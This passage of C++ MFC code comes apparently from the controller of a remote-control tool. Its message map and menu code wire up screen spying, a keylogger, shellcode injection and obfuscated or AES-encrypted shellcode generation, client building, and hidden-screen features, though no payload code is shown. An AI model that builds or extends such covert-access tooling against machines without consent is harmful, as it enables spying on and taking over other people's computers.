ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
|
||
ON_COMMAND(ID_ONLINE_UPDATE, &CMy2015RemoteDlg::OnOnlineUpdate)
|
||
ON_COMMAND(IDM_ONLINE_ABOUT, &CMy2015RemoteDlg::OnAbout)
|
||
ON_COMMAND(ID_HELP, &CMy2015RemoteDlg::OnAbout)
|
||
ON_COMMAND(ID_TOOLBAR_SEARCH, &CMy2015RemoteDlg::OnToolbarSearch)
|
||
|
||
ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager)
|
||
ON_COMMAND(IDM_ONLINE_PROCESS, &CMy2015RemoteDlg::OnOnlineProcessManager)
|
||
ON_COMMAND(IDM_ONLINE_WINDOW, &CMy2015RemoteDlg::OnOnlineWindowManager)
|
||
ON_COMMAND(IDM_ONLINE_DESKTOP, &CMy2015RemoteDlg::OnOnlineDesktopManager)
|
||
ON_COMMAND(IDM_ONLINE_FILE, &CMy2015RemoteDlg::OnOnlineFileManager)
|
||
ON_COMMAND(IDM_ONLINE_AUDIO, &CMy2015RemoteDlg::OnOnlineAudioManager)
|
||
ON_COMMAND(IDM_ONLINE_VIDEO, &CMy2015RemoteDlg::OnOnlineVideoManager)
|
||
ON_COMMAND(IDM_ONLINE_SERVER, &CMy2015RemoteDlg::OnOnlineServerManager)
|
||
ON_COMMAND(IDM_ONLINE_REGISTER, &CMy2015RemoteDlg::OnOnlineRegisterManager)
|
||
ON_COMMAND(IDM_KEYBOARD, &CMy2015RemoteDlg::OnOnlineKeyboardManager)
|
||
ON_COMMAND(IDM_ONLINE_BUILD, &CMy2015RemoteDlg::OnOnlineBuildClient) //生成Client
|
||
ON_MESSAGE(UM_ICONNOTIFY, (LRESULT(__thiscall CWnd::*)(WPARAM, LPARAM))OnIconNotify)
|
||
ON_COMMAND(IDM_NOTIFY_SHOW, &CMy2015RemoteDlg::OnNotifyShow)
|
||
ON_COMMAND(ID_NOTIFY_EXIT, &CMy2015RemoteDlg::OnNotifyExit)
|
||
ON_COMMAND(ID_MAIN_SET, &CMy2015RemoteDlg::OnMainSet)
|
||
ON_COMMAND(ID_MAIN_EXIT, &CMy2015RemoteDlg::OnMainExit)
|
||
ON_MESSAGE(WM_USERTOONLINELIST, OnUserToOnlineList)
|
||
ON_MESSAGE(WM_USEROFFLINEMSG, OnUserOfflineMsg)
|
||
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
|
||
ON_MESSAGE(WM_OPENFILEMANAGERDIALOG, OnOpenFileManagerDialog)
|
||
ON_MESSAGE(WM_OPENTALKDIALOG, OnOpenTalkDialog)
|
||
ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog)
|
||
ON_MESSAGE(WM_OPENTERMINALDIALOG, OnOpenTerminalDialog)
|
||
ON_MESSAGE(WM_OPENSYSTEMDIALOG, OnOpenSystemDialog)
|
||
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
|
||
ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)
|
||
ON_MESSAGE(WM_OPENREGISTERDIALOG, OnOpenRegisterDialog)
|
||
ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog)
|
||
ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage)
|
||
ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog)
|
||
ON_MESSAGE(WM_OPENPROXYDIALOG, OnOpenProxyDialog)
|
||
ON_MESSAGE(WM_OPENHIDESCREENDLG, OnOpenHideScreenDialog)
|
||
ON_MESSAGE(WM_OPENMACHINEMGRDLG, OnOpenMachineManagerDialog)
|
||
ON_MESSAGE(WM_OPENCHATDIALOG, OnOpenChatDialog)
|
||
ON_MESSAGE(WM_OPENDECRYPTDIALOG, OnOpenDecryptDialog)
|
||
ON_MESSAGE(WM_OPENFILEMGRDIALOG, OnOpenFileMgrDialog)
|
||
ON_MESSAGE(WM_OPENDRAWINGBOARD, OnOpenDrawingBoard)
|
||
ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult)
|
||
ON_MESSAGE(WM_PASSWORDCHECK, OnPasswordCheck)
|
||
ON_MESSAGE(WM_SHOWMESSAGE, OnShowMessage)
|
||
ON_MESSAGE(WM_SHOWNOTIFY, OnShowNotify)
|
||
ON_MESSAGE(WM_SHOWERRORMSG, OnShowErrMessage)
|
||
ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode)
|
||
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
|
||
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
|
||
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
|
||
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
|
||
ON_MESSAGE(WM_UPDATE_ACTIVEWND, UpdateUserEvent)
|
||
ON_WM_HELPINFO()
|
||
ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
|
||
ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth)
|
||
ON_COMMAND(ID_TOOL_GEN_MASTER, &CMy2015RemoteDlg::OnToolGenMaster)
|
||
ON_COMMAND(ID_MAIN_PROXY, &CMy2015RemoteDlg::OnMainProxy)
|
||
ON_COMMAND(ID_ONLINE_HOSTNOTE, &CMy2015RemoteDlg::OnOnlineHostnote)
|
||
ON_COMMAND(ID_HELP_IMPORTANT, &CMy2015RemoteDlg::OnHelpImportant)
|
||
ON_COMMAND(ID_HELP_FEEDBACK, &CMy2015RemoteDlg::OnHelpFeedback)
|
||
// 将所有动态子菜单项的命令 ID 映射到同一个响应函数
|
||
ON_COMMAND_RANGE(ID_DYNAMIC_MENU_BASE, ID_DYNAMIC_MENU_BASE + 20, &CMy2015RemoteDlg::OnDynamicSubMenu)
|
||
ON_COMMAND(ID_ONLINE_VIRTUAL_DESKTOP, &CMy2015RemoteDlg::OnOnlineVirtualDesktop)
|
||
ON_COMMAND(ID_ONLINE_GRAY_DESKTOP, &CMy2015RemoteDlg::OnOnlineGrayDesktop)
|
||
ON_COMMAND(ID_ONLINE_REMOTE_DESKTOP, &CMy2015RemoteDlg::OnOnlineRemoteDesktop)
|
||
ON_COMMAND(ID_ONLINE_H264_DESKTOP, &CMy2015RemoteDlg::OnOnlineH264Desktop)
|
||
ON_COMMAND(ID_WHAT_IS_THIS, &CMy2015RemoteDlg::OnWhatIsThis)
|
||
ON_COMMAND(ID_ONLINE_AUTHORIZE, &CMy2015RemoteDlg::OnOnlineAuthorize)
|
||
ON_NOTIFY(NM_DBLCLK, IDC_ONLINE, &CMy2015RemoteDlg::OnListClick)
|
||
ON_COMMAND(ID_ONLINE_UNAUTHORIZE, &CMy2015RemoteDlg::OnOnlineUnauthorize)
|
||
ON_COMMAND(ID_TOOL_REQUEST_AUTH, &CMy2015RemoteDlg::OnToolRequestAuth)
|
||
ON_COMMAND(ID_TOOL_INPUT_PASSWORD, &CMy2015RemoteDlg::OnToolInputPassword)
|
||
ON_COMMAND(ID_TOOL_GEN_SHELLCODE, &CMy2015RemoteDlg::OnToolGenShellcode)
|
||
ON_COMMAND(ID_ONLINE_ASSIGN_TO, &CMy2015RemoteDlg::OnOnlineAssignTo)
|
||
ON_NOTIFY(NM_CUSTOMDRAW, IDC_MESSAGE, &CMy2015RemoteDlg::OnNMCustomdrawMessage)
|
||
ON_NOTIFY(NM_RCLICK, IDC_MESSAGE, &CMy2015RemoteDlg::OnRClickMessage)
|
||
ON_COMMAND(ID_MSGLOG_DELETE, &CMy2015RemoteDlg::OnMsglogDelete)
|
||
ON_COMMAND(ID_MSGLOG_CLEAR, &CMy2015RemoteDlg::OnMsglogClear)
|
||
ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
|
||
ON_COMMAND(ID_ONLINE_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnOnlineLoginNotify)
|
||
ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline)
|
||
ON_COMMAND(ID_ONLINE_RUN_AS_ADMIN, &CMy2015RemoteDlg::OnOnlineRunAsAdmin)
|
||
ON_COMMAND(ID_MAIN_WALLET, &CMy2015RemoteDlg::OnMainWallet)
|
||
ON_COMMAND(ID_MAIN_NETWORK, &CMy2015RemoteDlg::OnMainNetwork)
|
||
ON_COMMAND(ID_TOOL_RCEDIT, &CMy2015RemoteDlg::OnToolRcedit)
|
||
ON_COMMAND(ID_ONLINE_UNINSTALL, &CMy2015RemoteDlg::OnOnlineUninstall)
|
||
ON_COMMAND(ID_ONLINE_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnOnlinePrivateScreen)
|
||
ON_NOTIFY(TCN_SELCHANGE, IDC_GROUP_TAB, &CMy2015RemoteDlg::OnSelchangeGroupTab)
|
||
ON_COMMAND(ID_OBFS_SHELLCODE, &CMy2015RemoteDlg::OnObfsShellcode)
|
||
ON_COMMAND(ID_ONLINE_REGROUP, &CMy2015RemoteDlg::OnOnlineRegroup)
|
||
ON_COMMAND(ID_MACHINE_SHUTDOWN, &CMy2015RemoteDlg::OnMachineShutdown)
|
||
ON_COMMAND(ID_MACHINE_REBOOT, &CMy2015RemoteDlg::OnMachineReboot)
|
||
ON_COMMAND(ID_EXECUTE_DOWNLOAD, &CMy2015RemoteDlg::OnExecuteDownload)
|
||
ON_COMMAND(ID_EXECUTE_UPLOAD, &CMy2015RemoteDlg::OnExecuteUpload)
|
||
ON_COMMAND(ID_MACHINE_LOGOUT, &CMy2015RemoteDlg::OnMachineLogout)
|
||
ON_WM_DESTROY()
|
||
ON_MESSAGE(WM_SESSION_ACTIVATED, &CMy2015RemoteDlg::OnSessionActivatedMsg)
|
||
ON_COMMAND(ID_TOOL_GEN_SHELLCODE_BIN, &CMy2015RemoteDlg::OnToolGenShellcodeBin)
|
||
ON_COMMAND(ID_SHELLCODE_LOAD_TEST, &CMy2015RemoteDlg::OnShellcodeLoadTest)
|
||
ON_COMMAND(ID_SHELLCODE_OBFS_LOAD_TEST, &CMy2015RemoteDlg::OnShellcodeObfsLoadTest)
|
||
ON_COMMAND(ID_OBFS_SHELLCODE_BIN, &CMy2015RemoteDlg::OnObfsShellcodeBin)
|
||
ON_COMMAND(ID_SHELLCODE_AES_BIN, &CMy2015RemoteDlg::OnShellcodeAesBin)
|
||
ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin)
|
||
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
|
||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
|
||
ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify)
|
||
ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog)
|
||
ON_COMMAND(ID_PARAM_PRIVACY_WALLPAPER, &CMy2015RemoteDlg::OnParamPrivacyWallpaper)
|
||
ON_COMMAND(ID_PARAM_FILE_V2, &CMy2015RemoteDlg::OnParamFileV2)
|
||
ON_COMMAND(ID_PARAM_RUN_AS_USER, &CMy2015RemoteDlg::OnParamRunAsUser)
|
||
ON_COMMAND(ID_PROXY_PORT, &CMy2015RemoteDlg::OnProxyPort)
|
||
ON_COMMAND(ID_HOOK_WIN, &CMy2015RemoteDlg::OnHookWin)
|
||
ON_COMMAND(ID_RUNAS_SERVICE, &CMy2015RemoteDlg::OnRunasService)
|
||
ON_COMMAND(ID_HISTORY_CLIENTS, &CMy2015RemoteDlg::OnHistoryClients)
|
||
ON_COMMAND(ID_BACKUP_DATA, &CMy2015RemoteDlg::OnBackupData)
|
||
ON_COMMAND(ID_PLUGIN_REQUEST, &CMy2015RemoteDlg::OnPluginRequest)
|
||
ON_COMMAND(ID_CHANGE_LANG, &CMy2015RemoteDlg::OnChangeLang)
|
||
ON_COMMAND(ID_IMPORT_DATA, &CMy2015RemoteDlg::OnImportData)
|
||
ON_COMMAND(ID_PROXY_PORT_STD, &CMy2015RemoteDlg::OnProxyPortStd)
|
||
ON_COMMAND(ID_CHOOSE_LANG_DIR, &CMy2015RemoteDlg::OnChooseLangDir)
|
||
ON_COMMAND(ID_LOCATION_QQWRY, &CMy2015RemoteDlg::OnLocationQqwry)
|
||
ON_COMMAND(ID_LOCATION_IP2REGION, &CMy2015RemoteDlg::OnLocationIp2region)
|
||
ON_COMMAND(ID_TOOL_LICENSE_MGR, &CMy2015RemoteDlg::OnToolLicenseMgr)
|
||
ON_COMMAND(ID_TOOL_IMPORT_LICENSE, &CMy2015RemoteDlg::OnToolImportLicense)
|
||
ON_COMMAND(ID_TOOL_V2_PRIVATEKEY, &CMy2015RemoteDlg::OnToolV2PrivateKey)
|
||
ON_COMMAND(ID_MENU_NOTIFY_SETTINGS, &CMy2015RemoteDlg::OnMenuNotifySettings)
|
||
ON_COMMAND(ID_EXECUTE_TESTRUN, &CMy2015RemoteDlg::OnExecuteTestrun)
|
||
ON_COMMAND(ID_EXECUTE_GHOST, &CMy2015RemoteDlg::OnExecuteGhost)
|
||
ON_COMMAND(ID_MASTER_TRAIL, &CMy2015RemoteDlg::OnMasterTrail)
|
||
ON_COMMAND(ID_FRPS_FOR_SUB, &CMy2015RemoteDlg::OnFrpsForSub)
|
||
ON_COMMAND(ID_CANCEL_SHARE, &CMy2015RemoteDlg::OnCancelShare)
|
||
ON_COMMAND(ID_WEB_REMOTE_CONTROL, &CMy2015RemoteDlg::OnWebRemoteControl)
|
||
END_MESSAGE_MAP()
|
||
|
||
|
||
// CMy2015RemoteDlg 消息处理程序
|
||
void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
switch ((UINT)lParam) {
|
||
case WM_LBUTTONDOWN: {
|
||
if (IsIconic()) {
|
||
ShowWindow(SW_SHOW);
|
||
break;
|
||
}
|
||
ShowWindow(IsWindowVisible() ? SW_HIDE : SW_SHOW);
|
||
SetForegroundWindow();
|
||
break;
|
||
}
|
||
case WM_RBUTTONDOWN: {
|
||
CMenu Menu;
|
||
Menu.LoadMenu(IDR_MENU_NOTIFY);
|
||
TranslateMenu(&Menu);
|
||
// Set tray menu icons
|
||
Menu.SetMenuItemBitmaps(IDM_NOTIFY_SHOW, MF_BYCOMMAND, &m_bmOnline[25], &m_bmOnline[25]);
|
||
Menu.SetMenuItemBitmaps(ID_NOTIFY_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]);
|
||
CPoint Point;
|
||
GetCursorPos(&Point);
|
||
SetForegroundWindow(); //设置当前窗口
|
||
Menu.GetSubMenu(0)->TrackPopupMenu(
|
||
TPM_LEFTBUTTON|TPM_RIGHTBUTTON,
|
||
Point.x, Point.y, this, NULL);
|
||
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
|
||
// 通过菜单项ID查找子菜单(避免硬编码索引,菜单项删除后索引会变化)
|
||
CMenu* CMy2015RemoteDlg::FindSubMenuByCommand(CMenu* pParent, UINT commandId)
|
||
{
|
||
if (!pParent) return nullptr;
|
||
for (UINT i = 0; i < pParent->GetMenuItemCount(); i++) {
|
||
CMenu* pSub = pParent->GetSubMenu(i);
|
||
if (pSub && pSub->GetMenuState(commandId, MF_BYCOMMAND) != (UINT)-1) {
|
||
return pSub;
|
||
}
|
||
}
|
||
return nullptr;
|
||
}
|
||
|
||
VOID CMy2015RemoteDlg::CreateSolidMenu()
|
||
{
|
||
m_MainMenu.LoadMenu(IDR_MENU_MAIN);
|
||
TranslateMenu(&m_MainMenu);
|
||
CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
|
||
std::string masterHash(GetMasterHash());
|
||
std::string pwd = THIS_CFG.GetStr("settings", "Password");
|
||
if (pwd.empty()) {
|
||
SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
|
||
}
|
||
SubMenu = m_MainMenu.GetSubMenu(4);
|
||
if (!pwd.empty()) {
|
||
SubMenu->ModifyMenuL(ID_TOOL_REQUEST_AUTH, MF_STRING, ID_TOOL_REQUEST_AUTH, _T("序列号"));
|
||
}
|
||
|
||
// Set main menu icons - File menu
|
||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_SET, MF_BYCOMMAND, &m_bmOnline[27], &m_bmOnline[27]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_MENU_NOTIFY_SETTINGS, MF_BYCOMMAND, &m_bmOnline[37], &m_bmOnline[37]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_WALLET, MF_BYCOMMAND, &m_bmOnline[28], &m_bmOnline[28]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_NETWORK, MF_BYCOMMAND, &m_bmOnline[29], &m_bmOnline[29]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]);
|
||
// Tools menu
|
||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND, &m_bmOnline[30], &m_bmOnline[30]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_IMPORT_LICENSE, MF_BYCOMMAND, &m_bmOnline[31], &m_bmOnline[31]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_RCEDIT, MF_BYCOMMAND, &m_bmOnline[32], &m_bmOnline[32]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_AUTH, MF_BYCOMMAND, &m_bmOnline[33], &m_bmOnline[33]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_GEN_MASTER, MF_BYCOMMAND, &m_bmOnline[34], &m_bmOnline[34]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_LICENSE_MGR, MF_BYCOMMAND, &m_bmOnline[35], &m_bmOnline[35]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_V2_PRIVATEKEY, MF_BYCOMMAND, /*&m_bmOnline[30]*/0, /*&m_bmOnline[30]*/0);
|
||
// Parameters menu
|
||
m_MainMenu.SetMenuItemBitmaps(ID_PARAM_KBLOGGER, MF_BYCOMMAND, /*&m_bmOnline[36]*/0, /*&m_bmOnline[36]*/0);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_PARAM_LOGIN_NOTIFY, MF_BYCOMMAND, /*&m_bmOnline[37]*/0, /*&m_bmOnline[37]*/0);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_PARAM_ENABLE_LOG, MF_BYCOMMAND, /*&m_bmOnline[38]*/0, /*&m_bmOnline[38]*/0);
|
||
// Extensions menu
|
||
m_MainMenu.SetMenuItemBitmaps(ID_HISTORY_CLIENTS, MF_BYCOMMAND, &m_bmOnline[39], &m_bmOnline[39]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_BACKUP_DATA, MF_BYCOMMAND, &m_bmOnline[40], &m_bmOnline[40]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_IMPORT_DATA, MF_BYCOMMAND, &m_bmOnline[41], &m_bmOnline[41]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_CHANGE_LANG, MF_BYCOMMAND, &m_bmOnline[42], &m_bmOnline[42]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND, &m_bmOnline[43], &m_bmOnline[43]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_PLUGIN_REQUEST, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_FRPS_FOR_SUB, MF_BYCOMMAND, &m_bmOnline[45], &m_bmOnline[45]);
|
||
// Help menu
|
||
m_MainMenu.SetMenuItemBitmaps(ID_HELP_IMPORTANT, MF_BYCOMMAND, &m_bmOnline[46], &m_bmOnline[46]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_HELP_FEEDBACK, MF_BYCOMMAND, &m_bmOnline[47], &m_bmOnline[47]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_WHAT_IS_THIS, MF_BYCOMMAND, &m_bmOnline[46], &m_bmOnline[46]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_MASTER_TRAIL, MF_BYCOMMAND, &m_bmOnline[48], &m_bmOnline[48]);
|
||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_REQUEST_AUTH, MF_BYCOMMAND, &m_bmOnline[49], &m_bmOnline[49]);
|
||
|
||
// ============================================================
|
||
// UIBranding: 根据编译时配置隐藏菜单项
|
||
// ============================================================
|
||
|
||
// --- 文件菜单 (索引0) ---
|
||
CMenu* pFileMenu = m_MainMenu.GetSubMenu(0);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_SETTINGS, MF_SETTINGS))
|
||
pFileMenu->DeleteMenu(ID_MAIN_SET, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_NOTIFY_SETTINGS, MF_NOTIFY_SETTINGS))
|
||
pFileMenu->DeleteMenu(ID_MENU_NOTIFY_SETTINGS, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_WALLET, MF_WALLET))
|
||
pFileMenu->DeleteMenu(ID_MAIN_WALLET, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_NETWORK, MF_NETWORK))
|
||
pFileMenu->DeleteMenu(ID_MAIN_NETWORK, MF_BYCOMMAND);
|
||
|
||
// --- 工具菜单 (索引1) ---
|
||
CMenu* pToolMenu = m_MainMenu.GetSubMenu(1);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_INPUT_PASSWORD, MF_INPUT_PASSWORD))
|
||
pToolMenu->DeleteMenu(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_IMPORT_LICENSE, MF_IMPORT_LICENSE))
|
||
pToolMenu->DeleteMenu(ID_TOOL_IMPORT_LICENSE, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_RCEDIT, MF_RCEDIT))
|
||
pToolMenu->DeleteMenu(ID_TOOL_RCEDIT, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_GEN_AUTH, MF_GEN_AUTH))
|
||
pToolMenu->DeleteMenu(ID_TOOL_AUTH, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_GEN_MASTER, MF_GEN_MASTER))
|
||
pToolMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_LICENSE_MGR, MF_LICENSE_MGR))
|
||
pToolMenu->DeleteMenu(ID_TOOL_LICENSE_MGR, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_V2_PRIVATEKEY, MF_V2_PRIVATEKEY))
|
||
pToolMenu->DeleteMenu(ID_TOOL_V2_PRIVATEKEY, MF_BYCOMMAND);
|
||
|
||
// --- 工具菜单 - ShellCode子菜单 ---
|
||
CMenu* pShellCodeMenu = FindSubMenuByCommand(pToolMenu, ID_TOOL_GEN_SHELLCODE);
|
||
if (pShellCodeMenu) {
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_C, MF_SHELLCODE_C))
|
||
pShellCodeMenu->DeleteMenu(ID_TOOL_GEN_SHELLCODE, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_BIN, MF_SHELLCODE_BIN))
|
||
pShellCodeMenu->DeleteMenu(ID_TOOL_GEN_SHELLCODE_BIN, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_LOAD_TEST, MF_SHELLCODE_LOAD_TEST))
|
||
pShellCodeMenu->DeleteMenu(ID_SHELLCODE_LOAD_TEST, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_OBFS, MF_SHELLCODE_OBFS))
|
||
pShellCodeMenu->DeleteMenu(ID_OBFS_SHELLCODE, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_OBFS_BIN, MF_SHELLCODE_OBFS_BIN))
|
||
pShellCodeMenu->DeleteMenu(ID_OBFS_SHELLCODE_BIN, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_OBFS_TEST, MF_SHELLCODE_OBFS_TEST))
|
||
pShellCodeMenu->DeleteMenu(ID_SHELLCODE_OBFS_LOAD_TEST, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_AES_C, MF_SHELLCODE_AES_C))
|
||
pShellCodeMenu->DeleteMenu(ID_SHELLCODE_AES_C_ARRAY, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_AES_BIN, MF_SHELLCODE_AES_BIN))
|
||
pShellCodeMenu->DeleteMenu(ID_SHELLCODE_AES_BIN, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_AES_TEST, MF_SHELLCODE_AES_TEST))
|
||
pShellCodeMenu->DeleteMenu(ID_SHELLCODE_TEST_AES_BIN, MF_BYCOMMAND);
|
||
// 如果子菜单为空,删除父级菜单项
|
||
if (pShellCodeMenu->GetMenuItemCount() == 0) {
|
||
for (UINT i = 0; i < pToolMenu->GetMenuItemCount(); i++) {
|
||
if (pToolMenu->GetSubMenu(i) == pShellCodeMenu) {
|
||
pToolMenu->DeleteMenu(i, MF_BYPOSITION);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// --- 参数菜单 (索引2) ---
|
||
CMenu* pParamMenu = m_MainMenu.GetSubMenu(2);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_KBLOGGER, MF_KBLOGGER))
|
||
pParamMenu->DeleteMenu(ID_PARAM_KBLOGGER, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_LOGIN_NOTIFY, MF_LOGIN_NOTIFY))
|
||
pParamMenu->DeleteMenu(ID_PARAM_LOGIN_NOTIFY, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_ENABLE_LOG, MF_ENABLE_LOG))
|
||
pParamMenu->DeleteMenu(ID_PARAM_ENABLE_LOG, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_PRIVACY_WALLPAPER, MF_PRIVACY_WALLPAPER))
|
||
pParamMenu->DeleteMenu(ID_PARAM_PRIVACY_WALLPAPER, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_FILE_V2, MF_FILE_V2))
|
||
pParamMenu->DeleteMenu(ID_PARAM_FILE_V2, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_HOOK_WIN, MF_HOOK_WIN))
|
||
pParamMenu->DeleteMenu(ID_HOOK_WIN, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_RUN_AS_SERVICE, MF_RUN_AS_SERVICE))
|
||
pParamMenu->DeleteMenu(ID_RUNAS_SERVICE, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_RUN_AS_USER, MF_RUN_AS_USER))
|
||
pParamMenu->DeleteMenu(ID_PARAM_RUN_AS_USER, MF_BYCOMMAND);
|
||
|
||
// --- 扩展菜单 (索引3) ---
|
||
CMenu* pExtMenu = m_MainMenu.GetSubMenu(3);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_HISTORY_CLIENTS, MF_HISTORY_CLIENTS))
|
||
pExtMenu->DeleteMenu(ID_HISTORY_CLIENTS, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_BACKUP_DATA, MF_BACKUP_DATA))
|
||
pExtMenu->DeleteMenu(ID_BACKUP_DATA, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_IMPORT_DATA, MF_IMPORT_DATA))
|
||
pExtMenu->DeleteMenu(ID_IMPORT_DATA, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_RELOAD_PLUGINS, MF_RELOAD_PLUGINS))
|
||
pExtMenu->DeleteMenu(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_PLUGIN_REQUEST, MF_PLUGIN_REQUEST))
|
||
pExtMenu->DeleteMenu(ID_PLUGIN_REQUEST, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_FRPS_FOR_SUB, MF_FRPS_FOR_SUB))
|
||
pExtMenu->DeleteMenu(ID_FRPS_FOR_SUB, MF_BYCOMMAND);
|
||
|
||
// --- 扩展菜单 - 语言设置子菜单 ---
|
||
CMenu* pLangMenu = FindSubMenuByCommand(pExtMenu, ID_CHANGE_LANG);
|
||
if (pLangMenu) {
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_CHANGE_LANG, MF_CHANGE_LANG))
|
||
